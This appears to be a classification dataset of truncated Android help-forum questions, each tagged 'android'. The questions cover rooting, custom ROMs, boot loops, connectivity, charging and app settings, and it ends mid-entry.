Android update Body: I bought an Xperia t two weeks ago. When I plugged it today, I've been asked to update Android, what I did.. Now the sms ""chat"" changed color and display format.. many other things changed color and ... ",['android'] "Title: Android to iPhone - clickable phone numbers in SMS messages Body: Need a way to have clickable phone numbers from iPhone SMS's. I started a new job with a company that uses iPhones, and we can send phone numbers that can just be tapped to be called. When that same ... ",['android'] "Title: Bricked (Hard?) Android I5510 recovery Body: I was attempting to install ClockworkMod and CynogenMod10 for my phone using odin. I followed the steps listed here ... ",['android'] "Title: connect android devices in ad-hoc mode without needing to net connection? Body: can we get android devices in ad-hoc mode using WIFI-card but without access internet ? i mean to connect peers to send and receive messages between them but without having internet connection ? i ... ",['android'] "Title: My HTC Tmobile - G2 wifi turns off cicle Body: I dont Know why when I turn on my WIFI it automaticly turn off after a few seconds! I have HTC VISION G2, Cianogenmod, 2.3.7 VISION PVT ENG s-OFF HBOOT-0.76.2000 (PC10...) MICROP-0425 ... ",['android'] "Title: How to replace Cyanogenmod dialer/contacts/messaging(texting) apps? Body: I have a Samsung Galaxy S3 with Verizon. I've recently rooted it and installed Cyanogenmod 10.1. Of ocurse, when you buy the phone brand new, it comes with all the built-in apps from the ... ",['android'] "Title: Control media player on one phone from another Body: I recently upgraded by old Wildfire to a Galaxy S2. For an event I'm running, I'd like to be able to hook the wildfire up to a sound system and play music (that's on the wildfire). However, I'd also ... ",['android'] "Title: Lost my Samsung Galaxy Ace Duos. No app Installed. Sim also not working. Can anyone help how to trace it [duplicate] Body: Lost my Samsung Galaxy Ace Duos. No app Installed. Sim also not working. Can anyone plz help how to trace it. ",['android'] "Title: ADB unable to connect my Nexus 7 on Ubuntu Body: I want to be able to connect my Nexus 7 in order to test my applications from Eclipse on the physical device. I followed this Google guide. My /etc/udev/rules.d/51-android.rules file contains this : ... ",['android'] "Title: Galaxy Nexus does not charge when turned on Body: Galaxy Nexus does not charge when powered on, but it charges properly when powered off. Phone doesn't detect USB connection also. This happened without any reason. Phone is not rooted. Tried ... ",['android'] "Title: Solutions for connecting phone/tablet to a bigger monitor? Body: An ebook I purchased is locked to my device so I can't open it anywhere else. I'm having a hard time reading due to the small screen size of my phone. Is there a way I can get it to display on my ... ",['android'] "Title: Bash terminal on tablets Body: I would like to buy a tablet and use it as a netbook to work using a keyboard dock (I still like the touchscreen and stylus options over buying a netbook). I work mostly on linux machines where I need ... ",['android'] "Title: Phone restarting again and again Body: I am having samsung galaxy ace GT-s5830i. The phone is restarting again and again after installing a game from 4shared.com.please help me out. Phone is rooted one. ",['android'] "Title: YouTube app on Android “signing in” forever Body: I use my Nexus 4 with a Google Apps account outside USA. There's no YouTube option in my GApps dashboard, as confirmed by this support page: YouTube is not an available service for Google Apps in ... ",['android'] "Title: How can I recover corrupt files from my SD Card on my PC? [duplicate] Body: My LG Marquee started boot looping four days ago and because of this, I have not been able to get into my files (photos, videos, apps, etc.) and back them up. I have not backed up any of my files, ... ",['android'] "Title: How to install a ROM with CWM when /data (and /sdcard) are encrypted and I can't reformat them? Body: I used to run CyanogenMod 9.1 with device encryption on my Galaxy S3, and decided today that I wanted to try a CM 10 nightly. A problem with device encryption that I didn't know about before is that ... ",['android'] "Title: How can I send service commands from my Nexus 7? Body: I have a Nexus 7 3G and I often need to send network service commands (e.g., to use top-up codes or to activate/de-activate data-plans), but can't find a way to do it from the tablet. Instead I'm ... ",['android'] "Title: Is there a way to adjust the memory allocation to increase the allocation for apps? Body: I have an Mi Traveler Android model 10R2 tablet and I am continuously getting a ""memory low"" message. I have added a SD card and moved some apps to the card, but still get the same messages. In ... ",['android'] "Title: default video player for youtube Body: I really want to change the video player when viewing youtube videos in the browser. It always plays videos using the default android vid player and I want to change it with mvideoplayer. help please? ... ",['android'] "Title: How to prevent Nexus 7 of charging the battery every time when connected to a USB? Body: Hello fellow Android enthusasts, I recently bought a Nexus7 that I want to use for development. The thing is, every time I connect it to my USB, in order to test some apps on it, it starts charging. ... ",['android'] "Title: How to see if my device was used at a particular time Body: I'm trying to find out if my tablet was used at a particular time. It runs android 4.1. I tried to use cache.wifi but that does not seem to exist any more. It would have most likely been used on my ... ",['android'] "Title: How to have my stock GS3 dialer initial screen be Recent instead of Keypad Body: Is it possible to have the stock dialer on my GS3 start on the Recent tab instead of the Keypad tab? ",['android'] "Title: Shortcut for .mp3 .jpg .docx files Body: Is it possible to have a shortcut on home screen for .mp3, .jpg, .docx etc files . As I need to access few documents every now and then , for this I have to go through folders in my ext memory. ",['android'] "Title: Used Nexus Root Tool to root my phone - lost all my pictures of my baby daughter [closed] Body: I ran the NRT(Nexus Root Tool) earlier today - before doing it I took out my SD card to make sure it wouldn't delete my photos - and when I just checked, it didn't show in my gallery. I've tried ... ",['android'] "Title: How to root lg optimus logic Body: For the past few days I have been googling the different ways to root my LG Optimus Logic, and have come up short handed. There doesn't seem to be a help forum for this phone anywhere, or at least not ... ",['android'] "Title: HTC ONE X Custom ROM Issue Body: I tried to install a custom ROM on my htc one X without making any backup. My new custom ROM did not installed correctly. It is just showing X type logo of custom ROM after htc splash screen. I can go ... ",['android'] "Title: Does the device/charger consume power after charging is complete? Body: I'm a bit OCD about efficiency and I have noticed that at least one of my two Android devices tells me to unplug it after charging is complete to save energy. My questions are: Is it true that a ... ",['android'] "Title: How can I use the JXD S7300 game controller with RetroArch? Body: I want to use my JXD S7300 controllers with the Android RetroArch game emulator. But It seems not to be possible. Anyone has info? ",['android'] "Title: Error Code: 160: MID Not Allowed when trying to unlock via HTCdev Body: When trying to run su I get this: C:\Htc One X> adb shell shell@android:/ $ su su /system/bin/sh: su: not found 127|shell@android:/ $ How do I get this to work? Build number 2.20.502.7 ... ",['android'] "Title: How to block all phone calls, but only allow SMS and networking? Body: It's kinda disturbing when people keep calling me during work or meetings, but to me it's okay if I receive short messages or Whatsapp message because I can reply them few minutes later in a short ... ",['android'] "Title: running app is shut down when screen powers on Body: I recently updated my Samsung S3 (T-Mobile) with the OTA update to Android 4.1. Ever since the update, after the phone screen powers down (manually or on timer), turning the screen back on closes the ... ",['android'] "Title: Hotmail option “Display as HTML” no longer works on my Galaxy SIII. Error message: “Connection failed” Body: Recently, emails arriving via my Hotmail account have ceased to open when using the ""Display as HTML"" button option provided at the top right of the message. I just get an error message saying ... ",['android'] "Title: Sony Tablet S - how to get PS1 games installed Body: I have a bunch of old PS1 games laying around and it is my understanding that the Sony Tablet S plays/supports PS1 games. But how do I go about installing them on there? Is this at all possible or can ... ",['android'] "Title: Phone connected to wireless but does not respond to pings Body: I have here two phones that both exhibit the same symptoms. One is a samsung GT-S5570 running the stock ROM, the other is a Galaxy S2 running an AOSP-based custom ROM. The problem I have is that ... ",['android'] "Title: Is there any android support for bicycle sensors? Body: I've seen some Bluetooth Smart (4.0) technology for tracking tire rotation rate (bike speed), peddle rotation rate (cadence) and even heart rate monitors. Some heart rate monitors are supported by ... ",['android'] "Title: Is there a multi-protocol chat client that doesn't require a separate account? Body: I use Pidgin on all my desktop computers because it's completely cross-platform (even Linux) and really like it. Unfortunately they don't have a mobile app. Is there a mobile chat client that allows ... ",['android'] "Title: Why does my device shows a resolution other than that advertised? Body: I bought two different cheap android tablets, in the process of buying a dozen for my company. I haven't had much experience with them before and there's one thing that's bugging me. I downloaded a ... ",['android'] "Title: Screenshot with power + volume down, what's the trick? [duplicate] Body: I'm using a galaxy nexus. I know the trick for taking a screenshot, with power button and volume down, but it's really flakey and only works some of the time for me (much less than half, maybe 1 in ... ",['android'] "Title: Wipe data on wrong password inputs Body: I've found several obsolete answers, but this question about situation nowadays: what's the most robust solution to have the device (android v4.2-based) protected? Turn on device encryption (there ... ",['android'] "Title: How to make android prefer mobile data when wifi signal is very weak Body: When I leave home or the office there is a ring around it where I simply have no connection at all. This is because the WLAN network from my router at home or the one at the office is detected, but ... ",['android'] "Title: Automatic video on boot Body: I want a video file to be open automatically on my LG tablet when it boots. Is there any app or setting in Android? There is a video presentation that I am sending to my clients and all I want is ... ",['android'] "Title: Arabic123 instea [duplicate] Body: I need to remove Hindy numbers off the Clock and date from the system of my nexus 7, when I have it in Arabic language. I neeeeeeed numbers in this Format 1 2 3 4 5 6 7 8 9 0 Not in those middle ... ",['android'] "Title: Contact list crashing Body: Every other day, my Contacts List will crash, and the only way for me to access it is to power off the phone. What is happening for this to happen, and what can I do to prevent it in future? ",['android'] "Title: Updating my Xperia U to the ICS firmware 6.1.1.B.1.54 instead of the official 6.1.1.B.10 Body: I'm using the official Sony GingerBread 2.3.7 with firmware 6.0.B.3.184 on my Xperia U and I want to use the latest 6.1.1.B.54. I've tried using Sony PC Companion/SUS but it tries to update my GB to ... ",['android'] "Title: How can I select which folders to sync via Exchange ActiveSync? Body: I am using Exchange ActiveSync with Android version 4.1.2, but cannot find the option to choose which folders to sync within my mailbox. A technote on the Samsung website (albeit the US version) says ... ",['android'] "Title: Calculator on 4.2.2 lockscreen? Body: I'm wondering if it's possible to put the calculator app on the 4.2 lockscreen (similar to how the camera is there). Not a widget, but the app. I'm running the latest CM10.1 nightly, on a Sprint GS3. ... ",['android'] "Title: How do I switch off the internet after use on the Samsung Spica? Body: Using the Spica for the first time. How do I know if I am off the internet after using the phone to browse? ",['android'] "Title: Clock alarm doesn't turn off off, and camera zoom doesn't work on Android 4.1.2 Body: I have a Nexus S, running Android 4.1.2. Just noticed today that I couldn't shut off the alarm by pressing the volume keys or the power button. Usually, when the alarm goes off, the phone displays 3 ... ",['android'] "Title: Serious battery drain (Screen, Android OS) after JB upgrade Body: Since I upgraded my Samsung Galaxy SII from Android 4.0.4 (ICS) to 4.1.2 (JB), my battery life has decreased dramtically. Running ICS I could easily have ~25% battery left when going to bed, after ... ",['android'] "Title: GooManager incompatible with vodafone 858 smart Body: I tried upgrading my Vodafone 858 and in this tutorial How to update my Vodafone 858 Smart? one of the steps is to install and open GooManager. However this app is not compatible with my phone model ... ",['android'] "Title: what apps are running? [closed] Body: A few months back I started developing an app that read incoming sms messages and saved them in a db. A few days ago I went to revisit the app and had a quick look in the db where I discovered the ... ",['android'] "Title: Reinstall OS on Nexus 7 Body: I had unlocked my Nexus 7 and everything was great for months. I came home from work and it was stuck in a boot loop. I somehow managed to delete the OS while trying to fix it. I have access to the ... ",['android'] "Title: How can I easily find out what has changed in an app after an auto update notification? Body: When I get a notification about an app update I often wonder what changed in this update. Is there a quick & easy way to find out? (No typing.) Note: This is with auto-update enabled, when the ... ",['android'] "Title: How can I learn why my nexus 4 is stuck with the startup animation? Body: I have a week-old Nexus 4, unrooted with only play-store apps. Since I've had it, I've found a few times it in the morning stuck with the startup animation (the colorful Nexus X). I was able to boot ... ",['android'] "Title: Have I lost my phone forever because of samsung firmware? Body: Okay so I've had my s3 for quiet a while but never actually used it properly until today. First issue was it didn't get past the samsung boot logo, it showed the carriers boot logo( three UK) ... ",['android'] "Title: How do I set my Android Nexus 4 via bluetooth MAP to get messages in car Body: I have a Nexus 4 and I am trying to get it to work with my car computer, and for most parts via Bluetooth it works, especially for audio. I cant get the text messaging part to work, and that has to do ... ",['android'] "Title: Latest Rom Manager Body: Installed latest ROM Manager from google Store.It wont install ( failed to verify whole-file signature and signature verification failed,Installation aborted.This is the basic version,does this mean ... ",['android'] "Title: Plugged a Bluetooth USB to Tablet but seems not working Body: I have insert a USB Bluetooth dongle to a Tablet via the USB port and try to turn on the Bluetooth in the Android but fail. So, how do one know if the USB Bluetooth dongle can be supported for a ... ",['android'] "Title: Where does the Play Store store the apps I am currently downloading? Body: I was downloading Facebook from the Play Store awhile ago when the phone suddenly hanged up so I forcefully shut it down by removing the battery. Now when I re-boot Facebook is no longer in the queue ... ",['android'] "Title: Get data/data/com.android.browser/databases/webview.db from backup.ab Body: I followed Nikolay Elenkov's method of unpacking backup.ab. Is it possible to get data/data/com.android.browser/databases/webview.db from backup.ab? ",['android'] "Title: Weak onboard speaker volume when using phone without headset or as speakerphone Body: Droid 4 upgraded to ICS. Handset speaker volume issue. Using a wired headset, headset speaker volume good. Using onboard speakerphone, onboard speaker volume good. Using onboard speaker by holding ... ",['android'] "Title: Is ZTE Blade compatible with wifi direct? Body: I've installed Android 4.1.2 on the ZTE Blade (Sapo A5) and i would like to know if ZTE Blade is compatible with wifi direct?? Does wifi direct have any hardware requirement? ",['android'] "Title: How can I stream PC desktop, 1:1 pixel ratio, to Android device? Body: Does anyone have a solution for streaming pc screen content to an Android device with 1:1 pixel ratio? I want to use it to display graphical work directly on the device, and possible for the future to ... ",['android'] "Title: How do I check if I have Cyanogenmod on my phone? Body: Is it possible to check using shell whether or not Cyanogenmod is installed on a device? In other words, something like uname -a (which tells the system Linux version and architecture). Can the ... ",['android'] "Title: Why can't I get root access from shell? Body: > adb shell sh-4.1$ su Permission denied I have rooted my phone successfully. I know this because I'm able to install apps on SD card and I have a program called SD Maid that is able to operate ... ",['android'] "Title: Why do linux commands not work properly on android? Body: > adb shell sh-4.1$ ls -F -F: No such file or directory -F switch works fine on my Ubuntu. Why doesn't it work on android? Is there a way to make it work? ",['android'] "Title: Can't find music tracks on nexus 4 in some apps Body: New Android user here. I am trying to use music which is stored as offline through the music player on a nexus 4. The player itself sees it and I can play it offline, but the apps can't find the ... ",['android'] "Title: Is it possible to install unmodified, unadulterated and pure Android on a Sony Xperia S? [duplicate] Body: I'm willing to buy a Sony Xperia S, but in my opinion, the modifications Sony made to Android is just horrible. So, is it possible to install the last version of Android unmodified? And, if so, how ... ",['android'] "Title: Samsung Galaxy S1 Constant Reboot Cycle Body: I left my Samsung Galaxy S1 charging overnight plugged into my computer (as I usually do) and when I came to use it in the morning, it was turned off (to my surprise). When I turned it on, it goes ... ",['android'] "Title: Using external SD Card on LG Optimus Body: Please tell me how to transfer my data from internal storage to the external SD Card please.... I'm ready to throw this stupid phone out the window. ",['android'] "Title: I've lost the dialing pad on my HTC Sensation after updating, is this a common problem? Body: I previously updated my HTC Sensation VE Beats and as a result I have subsequently lost the dialing pad. I am only able to call people after saving them direct to contacts. The dial icon does appear ... ",['android'] "Title: How can I download the backups ClockworkMod creates to my PC? Body: I do not see them in the /clockworkmod folder when I connect my device to my PC. I tried using adb pull but adb does not show any devices when the device is in recovery mode (only if it's booted). ... ",['android'] "Title: SD Card Multiple partitions USB access Body: I want to split my SD cart in 2 partitions: one for android, and one containing a bootable OS used from computers through USB or by inserting in card readers. I can't access the second partition from ... ",['android'] "Title: Battery life indicator has failed Body: A week or two ago my battery life indicator for my Motorolla Atrix 4G has ceased to working properly. The indicator indicates the battery drains ridiculous fast and it's inaccurate. I'll fully ... ",['android'] "Title: Add more functions to the home button circle shortcut Body: When you swipe up from the home button in Jelly Bean you get a cute semicircle with a Google Now shortcut on top. This circle shape makes it perfect for adding other shortcuts. For instance, you ... ",['android'] "Title: Lock yourself out of your phone for a certain amount of time Body: I check my phone (Android) more than I study. Is there any program or way to lock yourself out of your phone for a certain amount of time until you complete a goal? At the same time it should allow ... ",['android'] "Title: Galaxy S3 graphics issue, how to resolve? Body: My Galaxy S3 has developed a graphics fault (see image) and I don't know the cause or the cure. It has not been exposed to humidity or any thing magnetic and to the best of my knowledge it has not ... ",['android'] "Title: bootloop without power button Body: I have a Nexus S which sadly has a broken power button. This means I cannot do anything in recovery mode. Recently, after downgrading from a Cyanogenmod 10.1 nightly to and experimental build, it got ... ",['android'] "Title: Auto boot when charger connected (for HTC Magic) Body: I want to let Android OS to boot automatically when the charger connected (for HTC Magic) without pressing power button I found this guide: Complete boot when charging If your phone only gets one ... ",['android'] "Title: Get the default contact phone number Body: When we dial a selected contact, the first phone number is always picked (unless another number has a default flag set in DB). How can someone get that first phone number? How are those numbers ... ",['android'] "Title: Cell Broadcast option in HTC Raider ICS [duplicate] Body: I updated my phone to Ice cream sandwich last week. I cant find any option to turn off cell broadcast messages. I have tried everything, looking in call settings, message settings everywhere. I get ... ",['android'] "Title: Note 2 Camera display is over saturated Body: I have a problem with Note 2's camera where the display is boosting the saturation, and there is no way for me to evaluate the actual colours of the FINAL image. I usually shoot with a DSLR and when ... ",['android'] "Title: Can't get HTC ONE SV to play sound through usb to my car stereo Body: I'm at a loss! I connect the usb to the phone and deck, I tried mounting as a hard drive and nothing. I also tried to do the same but instead did it using usb debugging. Phone will not connect and ... ",['android'] "Title: How to stop Android asking for permission before permitting access to USB device Body: I have an application running on a rooted no-name Android tablet running ICS 4.0.3 that controls a USB device via the USB host mode interface. The android.hardware.usb.host.xml file is present in ... ",['android'] "Title: Are apps backed up/restored with Titanium Backup just as “good” as through Google? [closed] Body: Is the backup/restore process of Titanium Backup just as good and functional as Google's native processes? In other words, will an app backed up and restored by Titanium Backup run and be just as ... ",['android'] "Title: How to find the lost mobile when no tracker app is installed? Body: 3 weeks ago, I lost my Samsung Galaxy Ace Dduos 6082. I don't have any tracker applications or any ""if lost"" applications installed. I'm looking for some tracker. I have IMEI number and Gmail ... ",['android'] "Title: Wifi Not Connecting - Cyanogenmod 10 TF101 Body: I just installed Cyanogenmod 10 on my Transformer TF101 and every time I try to connect to my home network, it says 'Connecting...' then it goes to 'Saved, secured with WPA' without the internet ... ",['android'] "Title: How to mod android rom so none can ever install an app in it? Body: I already know how to modify an android ROM by modifying files, remove and add it into ROM. But I don't have knowledge to building/compiling a ROM. I want to lock the OS so none can ever install new ... ",['android'] "Title: Removing second SIM signal sign from notification Body: I have karbonn a9 plus smart phone. It is a dual sim phone, but I only use 1 SIM. The second SIM signal icon with no network always shows in the notification area. I want to remove it from my ... ",['android'] "Title: setting a default launcher Body: Ok so I rooted my samsung galaxy note 10.1 today. I immediately bought the full version of adw launcher and installed it. Now I have a bit of experience with Android and launchers so I have tried all ... ",['android'] "Title: Password method changed on nexus 4 Body: I just got a nexus 4 and have been trying out a couple of 'lost phone' apps. I was using the face/pattern authention for the lockscreen, but now it prompts for a password. I tried my google account ... ",['android'] "Title: Why I do not receive Android updates for Samsung Galaxy Nexus GT i9250m? Body: I have Galaxy Nexus GT-i9250m. It is currently running Android v4.1.1. I am in India. I want to know how to update my phone to v4.2 officially without rooting. I have already tried checking for ... ",['android'] "Title: Asus TF300T screen locked [duplicate] Body: Ex locked my Asus TF300T (serial #C50KCT156309) out of spite. I've been trying to recover it since the Superbowl, without losing data. Still factory set, never updated, as I am not very computer ... ",['android'] "Title: Is there a way to hide pictures from being shown in Gallery Body: How can I hide a jpeg image in Android Gallery? or is there a way to hide a folder of pictures for Gallery only? ",['android'] "Title: Micromax A57 is not displayed in Eclipse Device List Body: I have purchased a new Micromax A57 (Ninja-3) smart cell phone. I want to install my application from Eclipse directly, because i need to see the Logcat output for testing my Application. I just ... ",['android'] "Title: ICS not detecting adhoc network [duplicate] Body: I created an adhoc wireless network on my windows 7 machine. My windows phone is detecting this wireless network but my android ICS phone is not detecting it at all. Why is that? I have an unrooted ... ",['android'] "Title: download applications [duplicate] Body: My tablet is samsung p1000, I can not download some applications from android market even though passed sign in my account. and alway appears "" Unsuccessfull download "" on my screen. How to fix this ... ",['android'] "Title: If we install the apk outside the Play Store, does it affect Google Play statistics? Body: If we install the apk outside the Play Store, does it affect Google Play statistics? ",['android'] "Title: Continue using app after developer refunds purchase? Body: I'm an app developer and wondering about refunding purchases. I use Google's standard License Check library. If a user requests a refund and I refund the entire purchase price, does that prevent them ... ",['android'] "Title: Does the Nexus 7 have a LED flash for its camera? Body: Does the Nexus 7 have a LED flash for its front facing camera? Can somebody point me to some documentation online that states whether this is true or not? ",['android'] "Title: Disabling Google Voice Dialer Body: I have a Motorola Electrify M, recently factory-OTA-updated to Android 4.1.2. With the update came Google Now and the Google Voice Dialer. Google's Voice Dialer sucks! It always get the name wrong, ... ",['android'] "Title: failure of sending multiple messages Body: I have a Samsung Galaxy S (GT-i9000), running Android 2.3.4. I cannot send a message that includes more than one page of SMS. The message sending fail if it includes more than 160 characters. I can ... ",['android'] "Title: Organizing bookmarks between Desktop and Android Body: I am trying to manage my bookmarks both on my desktop and on my Android smartphone. My needs are as follows: I should be able to retrieve my bookmarks wherever I am, for instance on a PC I do not ... ",['android'] "Title: Twitter app signs out continuously Body: I have a Samsung Galaxy Ace running CyanogenMod 7.2.0. The problem is that the Twitter app signs out randomly from time to time. Sometimes it happens in a couple of hours or in a day or so. It's ... ",['android'] "Title: How to format /storage/sdcard0 in ext4 Body: I tried to create a symbolic link on the ""internal SD card"" of my Galaxy SD2. It failed with ""permission denied"" and I quickly realized this file system is vfat. How can I reformat /storage/sdcard0 ... ",['android'] "Title: Files with names with unicode characters get corrupted in SD Card Body: When mounting my SD Card on my galaxy SIII files and folders in the card with characters that aren't in the ASCII range get corrupted. This happens by simply selecting 'Unmount card' in the Storage ... ",['android'] "Title: Error due to factory reset of Ubislate 7c+ Body: I did a factory reset on my Ubislate 7c+ due to some reasons. After that, I can't surf or make and receive any calls anymore. The signal is not showing. When attempting to take the net, it shows the ... ",['android'] "Title: Wifi drops out only when I go to the play store? Any fixes? Body: On my Nexus 7 whenever I go to the Play store I get a ""no connection"" error and I look up and the wifi icon shows me there is no connection. I leave the Play app and go look in setting and before I ... ",['android'] "Title: How do you set the default search engine in firefox? Body: In firefox if I type a bunch of words instead of a web address and hit go it does a google search. You can install addons for other search engines and they appear in a list below the address bar and ... ",['android'] "Title: Is there an app or setting available to increase video recording duration? Body: My question is similar, but not identical to this one. Essentially I'd like to record videos of unlimited length on my android device(s) - that prior question seems to deal with a technical ... ",['android'] "Title: Suddenly receiving cookie error when browing sites Body: All of a sudden, when I try to log in to certain mobile sites (using the native browser) I'm receiving the message, ""Cookies are not enabled in your browser. Please adjust this in your security ... ",['android'] "Title: Suitability to charge the device for prolonged peroid [duplicate] Body: Generally I use my phone for the whole day at work. I plug-in the charger to the power outlet when I go to sleep and it is fully charged when I get up next morning. But, as a matter of fact, the phone ... ",['android'] "Title: How to hyperlink to file in KingsoftOffice? Body: I have an Excel spreadsheet created in Windows and open in Kingsoft Office. I would like to be able to create a hyperlink to specific files on the tablet itself. For example, I want to be able to ... ",['android'] "Title: Is it possible to read SMS headers? Body: Is there a way on Android (I've got Samsung Galaxy S3) to read SMS message headers? If yes, how can I do this? ",['android'] "Title: getting linux monitor driver to play with android Body: I have an ELO touchscreen monitor that I would like to (ideally) run off an android mini pc dongle like this one, or another if necessary - the idea being that the monitor functions as a tablet screen ... ",['android'] "Title: Mere presence of SD card causes all sort of issues - what can be wrong? Body: My Galaxy S II started to act weirdly recently - application can't be installed or updated neither in Google Play, nor locally, the Settings > Apps (Storage) says ""Computing"" forever, my SD card fails ... ",['android'] "Title: How do I root a ZTE Fury? Body: I've tried many methods (ZergRush, I get [-] Hellions with BLUE flames!). SuperOneClick uses ZergRush which doesn't work. I'm running Android 2.3.6. Baseband Version is: N850B01 (first update after ... ",['android'] "Title: Quickly send an email Body: I'm looking for a way to send an email to myself as quickly as possible. I am using my inbox as TODO list, and sometimes even send emails to myself to add new items… The optimal solution would be one ... ",['android'] "Title: HTC Incredible is stuck in a boot loop Body: How do I get my HTC Incredible to start all the way up, instead of it going into a boot loop and repeating droid over and over? ",['android'] "Title: Viewing local style sheets/javascript/html using Emulator [closed] Body: I want to view style sheets/html pages via the Android emulator. I pulled the html pages into the SD Card and was able to view them. However, I'm not sure how to pull the style sheets/javascript in to ... ",['android'] "Title: how to fake my personal information Body: I downloaded a game from Google Play. In the permission page, I noticed that it asks for my personal information. Allow this application to: Your personal information read sensitive log data. Why ... ",['android'] "Title: HTC One X won't charge Body: I bought a HTC one X in China, in order to send it to my girlfriend who's in UK, but she's constantly get charging problems. The problem is like this: Can't charge at all using AC adapter if the ... ",['android'] "Title: How to separate contact for Whats app only Body: I've synchronized my contacts of Gmail, Phonebook and Whats app. I do have 2 contacts with the same name. While I was joining the detail of first account with his gmail and whats app details by ... ",['android'] "Title: How to disable file extension check during incoming file transfers? Body: I'm running CyanogenMod 10 on my Nexus 7. As with all other Android devices, for some reason Google thought it cute to check file extensions of incoming Bluetooth file transfers and reject them if ... ",['android'] "Title: Launcher App Slow Body: I installed an unofficial build of Cyanogenmod 10.1 from here on my Droid 4 and the launcher app runs really slow. When I scroll through the screens or scroll in the app drawer it lags very bad. ... ",['android'] "Title: Can I stop installed apps adding their icon to my homescreen? [duplicate] Body: Currently every app I install adds a launcher icon to the homescreen. As my default homescreens are nicely arranged and as a result full, it creates another home screen 'page' to put the icons on. ... ",['android'] "Title: How can I search the SMSs/MMSs using the default search interface? Body: I have an Cyanogenmod 10.1 ROM installed. I love the Google Search interface and can search most of my phone using it but I am unable to find ""Messaging"" as a searchable item. I've seen a lot of ... ",['android'] "Title: Persisting permissions on /mnt/shell after reboot Body: CWM Nandroid backups are being stored in /mnt/shell/emulated/clockworkmod I want to use DropSync (or something similar) to automatically upload the contents of this folder to Dropbox as a backup ... ",['android'] "Title: Decrypting HTTPS Traffic from Android Apps via Fiddler? Body: I am actually trying to debug all the traffic going in and out on my phone. I am using Fiddler on my PC, and ProxyDroid on my phone to do this. HTTP traffic works fine. I am able to decrypt it ... ",['android'] "Title: HTC One V without Sense 4 [duplicate] Body: I have an HTC One V with Android 4.0 and HTC Sense 4. Unfortunately, the phone is quite slow. I suspect for the htc sense and other unnecessary application. Can I install android 4.0 without htc ... ",['android'] "Title: Phone Stuck on Samsung Galaxy S2 Screen Body: I have a rooted GT-I9100G. Recently the official JB for France came out, and I wanted to flash it. Some of the reasons to do so were: My phone use to randomly show charging even when the charger ... ",['android'] "Title: rooting Samsung Galaxy Note 2 Body: How to root Samsung Galaxy Note 2? I have no experience with rooting. Model number is GT-N7100. Android-version 4.1.1. ",['android'] "Title: Android ADB Shell Recovery Mounting Body: *Question: I need assistance mounting an Android phone's internal data using the Android ADB Shell while the unit is connected via USB and in recovery mode. How do I form a proper mount command? See ... ",['android'] "Title: how do you properly root galaxy s3 i9300 on mac? Body: I am trying to root my Galaxy S3 i9300 on a Apple Mac. I followed the instructions here But instead of my phone starting up ClockWorkMod recovery, my phone keeps booting up on android recovery. Any ... ",['android'] "Title: Enable Hardware Acceleration for AVD on Mac: Missing Hardware Section Body: I am trying to enable Android emulator hardware acceleration for my AVD that I use on my Max OS X (10.8.2). Because I am using Eclipse (Juno), I am following the above instructions (under the Using ... ",['android'] "Title: Remote desktop into an Android device [duplicate] Body: Is it possible, or is there an app, to remote desktop into an android device from a Windows or Mac computer? I would like to be able to see and control the screen. ",['android'] "Title: How can I know from boot which img is on (system or recovery)? Body: From boot, is there a way to know which .img is going to be run? Can I write a script / program that would run from init.rc (e.g. from pre-init), and print the .img (system/recovery)? Where is the ... ",['android'] "Title: Can't open cache/recovery/command Body: I am trying to install Android 4 on my HTC Thunderbolt. I have installed Ice Cream Sandwich in the root of my SDCard. I went to recovery mode and I see this message: Can't open cache/recovery/command ... ",['android'] "Title: How to turn off Galaxy II speaking time on lock screen? Body: How to turn off Galaxy II from SPEAKING THE TIME on lock screen?? ",['android'] "Title: “Cannot connect to camera” and cannot switch to camcorder problems Body: I have CyanogenMod 7.2 on my HTC G2. I have not been able to use the camcorder function in a very long time. Sometimes it will switch to the camcorder function but then after 1 second, the camera ... ",['android'] "Title: How to flash phone, if it stucks in bootloop Body: My phone gets stucked in a bootloop if I start it. The last thing I did was changing the fonts. I replaced droidsans by Segoe ui. Well I already deleted the cm10.zip on the phone and now can't flash ... ",['android'] "Title: How to “un-save” attachments in Gmail on Jelly Bean? Body: Gmail on Android 4.2 brings a boatload of improvements over the version I'm used to from 2.2. Its improved interface for dealing with (received) attachments is very welcome. However, I cannot find a ... ",['android'] "Title: How do I get my Android Phone to connect its internal SD to my PC via USB? Body: For some reason my Galaxy Y GT-55360T phone running Android 2.3.6, won't connect its SD card to my Ubuntu 12.10-running PC when I plug the USB cable into it. It did before, I have no idea what I did ... ",['android'] "Title: How to make an Android tablet into a single-application kiosk? [duplicate] Body: I'm looking at making a time clock style punch in / punch out application, but I'd like to set up the Android tablet to run my app immediately after boot, re-run the app if it crashes, and not allow ... ",['android'] "Title: Viber not able to sync contacts Body: In my ICS tablet, I am not able to sync contacts with Viber app. It is keep on waiting without any output. Any clues on this will be helpful. PS: I am having a problem in adding contacts to phone ... ",['android'] "Title: Voice activation for Google maps Body: I have a Samsung Galaxy III. How do you get it to talk the directions instead of reading as that will cause an accident ",['android'] "Title: How does contact management work? Body: I've got a Samsung Galaxy 3 with Android 4.1.2. I changed my SIM card today and was worried I might lose contact so I've backed them up. I've always found the contacts very confusing and obviously I ... ",['android'] "Title: Problem with the google now in tab 2 Body: I have a Galaxy Tab 2 7.0 which I have updated to the official jellybean provided by Samsung, it is supposed to have Google Now but I cant see the cards on opening the the app. Can anyone help me out ... ",['android'] "Title: How to root Huawei Y210? Body: It runs Android 2.3.6 and has the 2.3.38.6-perf kernel version. I've already tried using SuperOneClick but it doesn't work. :( I'm rather contented with it ( oh wait, it has this puny internal ... ",['android'] "Title: How can I sync my Contacts with Gmail if the stock firmware of my phone doesn't provide this feature? Body: Am using a Grandstream GXP2200 Android deskphone that has a customized version of 2.3.5 on it. They have replaced the native contacts app with a custom one that doesn't sync with Gmail. I have ... ",['android'] "Title: Help to recover accidently deleted calendar data Body: OK so I have a lot of appointments in an outlook calendar (about 12 each day). It was synced to my Galaxy 3G. I wanted to delete all of them for one day, so deleted multiple appointments but I didn't ... ",['android'] "Title: S-Voice stopped working with Headset button Body: My problem is holding the play/pause button on headphones which will not start S-Voice anymore. I downloaded Google Search and did not like it so I disabled it. Now I have gone through all my ... ",['android'] "Title: Permanently indicate to Market an application should refuse upgrades? Body: Some applications update frequently, (like Dolphin Browser), but to my needs the current version is clearly enough, barring a major advance of the application. Some applications (like Slacker Radio) ... ",['android'] "Title: how to set sim2 as default for sms in android 4.0.4? Body: I'm using karbonn A15, which runs on ICS. while sending sms, when both of its sim are enabled, the message are sent through sim1 and i've to face sms charges. As i want to send messages from 